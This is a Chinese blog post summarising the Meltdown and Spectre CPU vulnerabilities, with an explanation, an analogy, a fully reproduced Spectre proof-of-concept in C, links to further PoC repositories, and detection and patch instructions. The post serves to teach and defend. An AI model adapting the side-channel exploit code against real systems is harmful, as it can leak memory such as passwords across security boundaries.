最近Meltdown和Spectre两个漏洞在各大安全媒体刷屏,堪称年初大戏。本来想好好研究一下这两个漏洞的原理,无奈业界各位大牛各种分析,深感自己写的不如他们通俗易懂。故这篇文章,大部分内容不是自己的研究成果,而是阅读各位大牛漏洞分析文章的一个总结笔记。有些段是原封不动的,若有侵权嫌疑,请联系我。
0x01漏洞原理 1.1CPU缓存验证缺陷 分支预测和乱序执行,是一种CPU优化技术,CPU会执行一些可能在将来会执行的任务。当分支指令发出之后,无相关优化技术的处理器,在未收到正确的反馈信息之前,是不会做任何处理;而具有优化技术能力的新型处理器,可以预测即将执行的指令,会预先处理一些指令所需的数据,例如将下一条指令所需要访问的内存提前加载到CPU缓存中,这就避免了执行具体指令时再去读内存,从而加快了CPU的执行速度,具体流程如下所示:
指令3如果出现问题(如指令3是一个除0或者是一个非法的操作),会触发CPU的异常处理,具体情况如下
对于具有预测执行能力的新型处理器,在实际CPU执行过程中,指令4所需的内存加载环节不依赖于指令3是否能够正常执行,而且从内存到缓存加载这个环节不会验证访问的内存是否合法有效。即使指令3出现异常,指令4无法执行,但指令4所需的内存数据已加载到CPU缓存中,这一结果导致指令4即使加载的是无权限访问的内存数据,该内存数据也会加载到CPU缓存中,因为CPU是在缓存到寄存器这个环节才去检测地址是否合法,而CPU分支预测仅仅是完成内存到CPU缓存的加载,实际指令4并没有被真正的执行,所以他的非法访问是不会触发异常的。
如上图所示CPU缓存的这个过程对于用户是不可访问的,只有将具体的数据放到CPU的寄存器中用户才可操作,同时用户态程序也没有权限访问内核内存中的数据,因此CPU采用这种逻辑是没有问题的,但是如果有方法可以让我们得到CPU缓存中的数据,那么这种逻辑就存在缺陷。
1.2边信道攻击缓存 CPU缓存通常在较小和较快的内部存储中缓存常用数据,从而隐藏慢速内存访问的延迟,缓存侧信道攻击正是利用CPU缓存与系统内存的读取的时间差异,从而变相猜测出CPU缓存中的数据,结合前边的缓存缺陷部分内容,产生如下的结果:
注:简单来说,就是CPU缓存中的数据,在用户态和内核态都是无法正常访问的,除非当CPU缓存中的数据保存到寄存器中时,会被正常的读取;除此之外,是可以通过边信道的方式读取CPU的缓存的。 基于如上介绍的漏洞原理信息,通过CPU缓存验证缺陷,并利用边信道攻击技术可猜测CPU缓存中的数据,继而访问主机的完整内存数据,造成用户敏感信息泄露。
1.3通俗理解 生活实例:新生入学报道(为简化问题,假设今天只有你一个人去学校报道,并且学校工作人员都是250)
开学去学校报道,三个步骤(三条CPU指令):
1 2 3 1)凭借录取通知书去领学号 2)凭借领取到的学号去领寝室号 3)凭借领取到的寝室号去领寝室钥匙
开学了,你捡到一张录取通知书,通知书编号是1001,然后去拿着它去学校报道,报道工作处有三个工作人员甲乙丙。甲负责直接和你交互,甲拿到你的入学通知书后开始查找你的学号,然后填写表格,然后把学号给你
与此同时,工作人员乙拿到甲查到的学号后,去表格中查你对应的寝室号,等甲办完以后直接交给你。
还是与此同时,工作人员丙拿到乙查到的寝室号后开始去库房的钥匙柜架取出你的钥匙放在办公桌(同时,为了避免等会又跑一趟,它把这栋楼这一层的钥匙盒直接拿到办公室了,等会就不用再去库房奔波了),等乙办完以后就交给你。
但是,这个时候,甲发现你身份有问题,这不是你的录取通知书,不能给你办理入学手续,不能把学号给你。于是你被打回。
可是:乙已经提前帮你把对应学号的寝室号取到了(只是还没给你),丙也已经提前帮你把对应寝室的钥匙给你拿到了(只是还没给你)
好,你被拒绝办理入学了,因为你是假冒的
实际上,你已经是在校生了,不是大一新生,刚才你是故意去假冒大一新生去报道。 这个时候,你去丙的办公室借钥匙。往常丙都是说你等一下,我去给你拿,然后会等差不多五分钟,丙给你拿来钥匙。但今天不同的是,今天没有等那么久,而是直接就把钥匙取出来了给你,全程不超过10秒钟。
于是,你明白了,一定是我刚才假冒去甲办理入学的时候,丙把钥匙盒取过来的,于是你意识到:我开始捡到的1001号的录取通知书新生住在我们这栋楼这一层。
于是,你如法炮制,伪造1002,1003,1999···号录取通知书去报道,然后知道了他们每个人住在哪一栋那一层。
0x02漏洞复现 漏洞论文后给了一个POC,我们用他来复现。
它的github地址为:https://github.com/Eugnis/spectre-attack
2.1poc代码注释 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 #define __DEBUG 0 #define __TRYTIMES 50 #define __MAGICWORDS "1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" #define __MAGICWORDSCOUNT (sizeof(__MAGICWORDS) - 1) #define CACHE_HIT_THRESHOLD (50) #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <intrin.h> #pragma optimize("gt" ,on) unsigned int array1_size = 16 ; uint8_t array1[160 ] = { 1 ,2 ,3 ,4 ,5 ,6 ,7 ,8 ,9 ,10 ,11 ,12 ,13 ,14 ,15 ,16 }; uint8_t array2[256 * 512 ]; const char *secret = __MAGICWORDS; int iThreshold = CACHE_HIT_THRESHOLD; uint8_t temp = 0 ; void victim_function (size_t x) { if (x < array1_size) { temp &= array2[array1[x] * 512 ]; } } void readMemoryByte (size_t malicious_x, uint8_t value[2 ], int score[2 ]) { static int results[256 ]; int tries, i, j, k, mix_i; unsigned int junk = 0 ; size_t training_x, x; register uint64_t time1, time2; volatile uint8_t *addr; for (i = 0 ; i < 256 ; i++) results[i] = 0 ; for (tries = __TRYTIMES; tries > 0 ; tries--) { for (i = 0 ; i < 256 ; i++) _mm_clflush(&array2[i * 512 ]); training_x = tries % array1_size; for (j = 29 ; j >= 0 ; j--) { _mm_clflush(&array1_size); for (volatile int z = 0 ; z < 100 ; z++) {} x = ((j % 6 ) - 1 ) & ~0xFFFF ; x = (x | (x >> 16 )); x = training_x ^ (x & (malicious_x ^ training_x)); victim_function(x); } for (i = 0 ; i < 256 ; i++) { mix_i = ((i * 167 ) + 13 ) & 255 ; addr = &array2[mix_i * 512 ]; time1 = __rdtscp(&junk); junk = *addr; time2 = __rdtscp(&junk) - time1; if (time2 <= iThreshold && mix_i != array1[tries % array1_size]) results[mix_i]++; } j = k = -1 ; for (i = 0 ; i < 256 ; i++) { if (j < 0 || results[i] >= results[j]) { k = j; j = i; } else if (k < 0 || results[i] >= results[k]) { k = i; } } if (results[j] >= (2 * results[k] + 5 ) || (results[j] == 2 && results[k] == 0 )) break ; } results[0 ] ^= junk; value[0 ] = (uint8_t )j; score[0 ] = results[j]; value[1 ] = (uint8_t )k; score[1 ] = results[k]; } int main (int argc, const char **argv) { size_t malicious_x = (size_t )(secret - (char *)array1); int i, score[2 ], iLen = __MAGICWORDSCOUNT, iCount = 0 ; char *opt, *addr; uint8_t value[2 ]; printf ("Provide by CSZQ\n" ); if (argc > 1 ) { opt = (char *)&argv[1 ][1 ]; switch (*opt) { case 'h' : printf ("-h help\n-t 设置阀值,建议取值 16 - 176 之间,默认 50\n" ); return 0 ; case 't' : if (argc==2 ) { sscanf (opt + 1 , "%d" , &iThreshold); } else { sscanf (argv[2 ], "%d" , &iThreshold); } break ; } } for (i = 0 ; i < sizeof (array2); i++) array2[i] = 1 ; #if __DEBUG > 0 printf ("Reading %d bytes:\n" , iLen); #endif i = iLen; while (--i >= 0 ) { #if __DEBUG > 0 printf ("读取地址:%p " , (void *)malicious_x); #endif readMemoryByte(malicious_x++, value, score); addr = (char *)array1 + malicious_x - 1 ; if (value[0 ] == *addr) { iCount += (score[0 ] > 2 * score[1 ]) ? 1 : 0 ; } #if __DEBUG > 0 printf ("%s: " , (score[0 ] >= 2 * score[1 ] ? "成功" : "...." )); printf ("value:0x%02X char=%c counts=%d " , value[0 ], ((value[0 ] > 31 && value[0 ] < 127 ) ? (char )value[0 ] : '?' ), score[0 ]); if (score[1 ] > 0 ) printf ("(可能:value:0x%02X char=%c counts=%d)" , value[1 ], ((value[0 ] > 31 && value[0 ] < 127 ) ? (char )value[0 ] : '?' ), score[1 ]); printf ("\n" ); #endif } printf ("%s\r\n" , (iCount >= __MAGICWORDSCOUNT / 5 ) ? "--->存在BUG!!!<---" : "--->不存在BUG<---" ); printf ("%d 阀值下命中率为:%d / %d\r\n" , iThreshold, iCount, iLen); printf ("按任意键退出程序...\r\n" ); getchar(); return (0 ); }
2.2Window平台测试:
2.3Linux平台测试:
操作系统:kali1 (2016-07-21) x86_64
编译器:gcc 6.3.0
2.4其他poc汇总 目前网上有很多poc,大家可以下去好好测试一下,最好认真研究大牛们写的代码。
https://github.com/HarsaroopDhillon/SpectreExploit
https://github.com/turbo/KPTI-PoC-Collection
处理器漏洞 Metldown Poc: 从 Google Chrome 中读取密码
https://github.com/RealJTG/Meltdown`
AArch64 硬件平台Spectre PoC(从用户模式读取所有的 ARM 系统寄存器)
https://github.com/lgeek/spec_poc_arm
spectre meltdown poc
https://github.com/mniip/spectre-meltdown-poc
检查 Linux 主机是否受处理器漏洞Spectre & Meltdown 的影响
https://github.com/speed47/spectre-meltdown-checker
Meltdown exploit
https://github.com/paboldin/meltdown-exploit
Meltdown PoC
https://github.com/GitMirar/meltdown-poc
Metldown PoC 收集. 当前包括2个视频, 5个Demo
https://github.com/IAIK/meltdown/
0x03漏洞检测 3.1Windows平台 微软官方出了一个Powershell检测脚本,有两个安装方法,大家自行根据自己的系统和WMF版本来选择合适的方法。
3.1.1方法一 适合Windows Server 2016或者WMF版本是5.0/5.1
(1)安装PowerShell模块 1 PS> Install-Module SpeculationControl
(2)运行验证模块 1 2 3 4 5 6 7 PS> PS> $SaveExecutionPolicy = Get-ExecutionPolicy PS> Set-ExecutionPolicy RemoteSigned -Scope Currentuser PS> Import-Module SpeculationControl PS> Get-SpeculationControlSettings PS> PS> Set-ExecutionPolicy $SaveExecutionPolicy -Scope Currentuser
3.1.2方法二 适合系统版本或WMF版本比较老
(1)下载并解压好脚本 脚本下载地址:https://aka.ms/SpeculationControlPS
(2)导入并执行验证模块 1 2 3 4 5 6 7 8 PS> PS> $SaveExecutionPolicy = Get-ExecutionPolicy PS> Set-ExecutionPolicy RemoteSigned -Scope Currentuser PS> CD 解压脚本目录 PS> Import-Module .\SpeculationControl.psd1 PS> Get-SpeculationControlSettings PS> PS> Set-ExecutionPolicy $SaveExecutionPolicy -Scope Currentuser
我本机是win7系统,所以选用第二种方法。但在导入验证模块时出错了。
这是因为Win7系统默认是Powershell是2.0,得升级版本。我升级到了PowerShell 4.0版本后,就可以成功导入模块并检测了。
3.2Linux平台 Linux平台可以使用github上的一个检测脚本。
github地址:https://github.com/raphaelsc/Am-I-affected-by-Meltdown
1 2 3 4 git clone https://github.com/raphaelsc/Am-I-affected-by-Meltdown.git cd ./Am-I-affected-by-Meltdownmake ./meltdown-checker
0x04漏洞修复 4.1Windows操作系统(7/8/10)和Microsoft Edge/IE 下载地址:https://www.catalog.update.microsoft.com/Search.aspx?q=KB4056892
4.2火狐浏览器 Mozilla发布了Firefox版本57.0.4,其中包括针对Spectre(幽灵)和Meltdown(熔毁)攻击的缓解措施。建议用户尽快更新安装。
下载链接为:https://www.mozilla.org/en-US/security/advisories/mfsa2018-01/
4.3Google Chrome浏览器 4.4Linux Linux内核开发者还发布了Linux内核的补丁。包括版本:4.14.11,4.9.74,4.4.109,3.16.52,3.18.91,3.2.97
下载链接:https://www.kernel.org/
(1)RedHat已发布补丁
https://access.redhat.com/security/vulnerabilities/speculativeexecution?sc_cid=701f2000000tsLNAAY
(2)Ubuntu:已提供修复补丁
https://insights.ubuntu.com/2018/01/04/ubuntu-updates-for-the-meltdown-spectre-vulnerabilities/
(3)SUSE:已陆续发布补丁
https://www.suse.com/support/kb/doc/?id=7022512
4.5VMware https://www.vmware.com/us/security/advisories/VMSA-2018-0002.html
0x05参考资料 处理器A级漏洞Meltdown(熔毁)和Spectre(幽灵)分析报告
通俗理解这次的CPU漏洞
最近比较火的CPU漏洞解析,附带修改过带注释源码一份
CPU特性漏洞测试POC(Meltdown and Spectre)